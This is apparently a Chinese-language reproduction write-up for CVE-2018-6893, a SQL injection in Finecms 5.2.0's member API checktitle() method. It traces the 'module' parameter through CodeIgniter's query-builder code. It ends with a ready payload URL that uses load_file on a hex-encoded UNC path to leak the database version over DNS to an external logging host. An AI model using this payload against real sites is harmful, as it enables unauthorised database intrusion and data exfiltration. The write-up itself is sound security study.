menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2018-6893)Finecms 5.2.0 SQL注入漏洞 chevron_right (CVE-2018-6893)Finecms 5.2.0 SQL注入漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-6893)Finecms 5.2.0 SQL注入漏洞.md
    6.01 KB / 2021-07-15 19:53:05
        (CVE-2018-6893)Finecms 5.2.0 SQL注入漏洞
    ==========================================
    
    一、漏洞简介
    ------------
    
    Finecms
    5.2.0版本中的`controllers/member/Api.php`文件存在SQL注入漏洞,该漏洞源于程序没有进行有效的过滤。远程攻击者可利用该漏洞执行SQL命令。
    
    二、漏洞影响
    ------------
    
    Finecms 5.2.0
    
    三、复现过程
    ------------
    
    漏洞位置在:
    
    finecms/dayrui/controllers/member/Api.php 590行左右
    
        public function checktitle() {
            $id = (int)$this->input->get('id');
            $title = $this->input->get('title', TRUE);
            $module = $this->input->get('module');
            (!$title || !$module) && exit('');
            $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
            $num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
        }
    
    可以看到方法count\_all\_results()使用了\$module,count\_all\_results()方法如下:
    
        public function count_all_results($table = '', $reset = TRUE)
            {
                if ($table !== '')
                {
                    $this->_track_aliases($table);
                    $this->from($table);
                }
    
                // ORDER BY usage is often problematic here (most notably
                // on Microsoft SQL Server) and ultimately unnecessary
                // for selecting COUNT(*) ...
                if ( ! empty($this->qb_orderby))
                {
                    $orderby = $this->qb_orderby;
                    $this->qb_orderby = NULL;
                }
    
                $result = ($this->qb_distinct === TRUE OR ! empty($this->qb_groupby) OR ! empty($this->qb_cache_groupby) OR $this->qb_limit OR $this->qb_offset)
                    ? $this->query($this->_count_string.$this->protect_identifiers('numrows')."\nFROM (\n".$this->_compile_select()."\n) CI_count_all_results")
                    : $this->query($this->_compile_select($this->_count_string.$this->protect_identifiers('numrows')));
    
                if ($reset === TRUE)
                {
                    $this->_reset_select();
                }
                // If we've previously reset the qb_orderby values, get them back
                elseif ( ! isset($this->qb_orderby))
                {
                    $this->qb_orderby = $orderby;
                }
    
                if ($result->num_rows() === 0)
                {
                    return 0;
                }
    
                $row = $result->row();
                return (int) $row->numrows;
            }
    
    可以看到对传入的table参数进行了是否为空校验以及经过两个函数的处理,再跟进\_track\_aliases函数继续进行分析:
    
        protected function _track_aliases($table)
            {
                if (is_array($table))
                {
                    foreach ($table as $t)
                    {
                        $this->_track_aliases($t);
                    }
                    return;
                }
    
                // Does the string contain a comma?  If so, we need to separate
                // the string into discreet statements
                if (strpos($table, ',') !== FALSE)
                {
                    return $this->_track_aliases(explode(',', $table));
                }
    
                // if a table alias is used we can recognize it by a space
                if (strpos($table, ' ') !== FALSE)
                {
                    // if the alias is written with the AS keyword, remove it
                    $table = preg_replace('/\s+AS\s+/i', ' ', $table);
    
                    // Grab the alias
                    $table = trim(strrchr($table, ' '));
    
                    // Store the alias, if it doesn't already exist
                    if ( ! in_array($table, $this->qb_aliased_tables, TRUE))
                    {
                        $this->qb_aliased_tables[] = $table;
                        if ($this->qb_caching === TRUE && ! in_array($table, $this->qb_cache_aliased_tables, TRUE))
                        {
                            $this->qb_cache_aliased_tables[] = $table;
                            $this->qb_cache_exists[] = 'aliased_tables';
                        }
                    }
                }
            }
    
    可以看到table在这个函数中经过了较多过滤,继续看下一个函数from:
    
        public function from($from)
            {
                foreach ((array) $from as $val)
                {
                    if (strpos($val, ',') !== FALSE)
                    {
                        foreach (explode(',', $val) as $v)
                        {
                            $v = trim($v);
                            $this->_track_aliases($v);
                            $this->qb_from[] = $v = $this->protect_identifiers($v, TRUE, NULL, FALSE);
                            if ($this->qb_caching === TRUE)
                            {
                                $this->qb_cache_from[] = $v;
                                $this->qb_cache_exists[] = 'from';
                            }
                        }
                    }
                    else
                    {
                        $val = trim($val);
                        // Extract any aliases that might exist. We use this information
                        // in the protect_identifiers to know whether to add a table prefix
                        $this->_track_aliases($val);
                        $this->qb_from[] = $val = $this->protect_identifiers($val, TRUE, NULL, FALSE);
                        if ($this->qb_caching === TRUE)
                        {
                            $this->qb_cache_from[] = $val;
                            $this->qb_cache_exists[] = 'from';
                        }
                    }
                }
                return $this;
            }
    
    可以看到经过这两个函数以及finecms本身get方法的过滤,能用的符号不多了,但是括号以及逗号都还能使用。
    
    在测试的时候,如果传入的参数比如:module=1,则会爆表不存在的错误,并且可以看到查询的语句,而module参数位于from位置,也就是查询的表的位置,于是使用逗号分割查询的表,并使用dns外带数据
    
    payload如下
    
        http://0-sec.org/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(select load_file(concat(0x5c5c5c5c,version(),0x2e6d7973716c2e61687a6935672e636579652e696f5c5c616263))) as total
    
    
    links
    file_download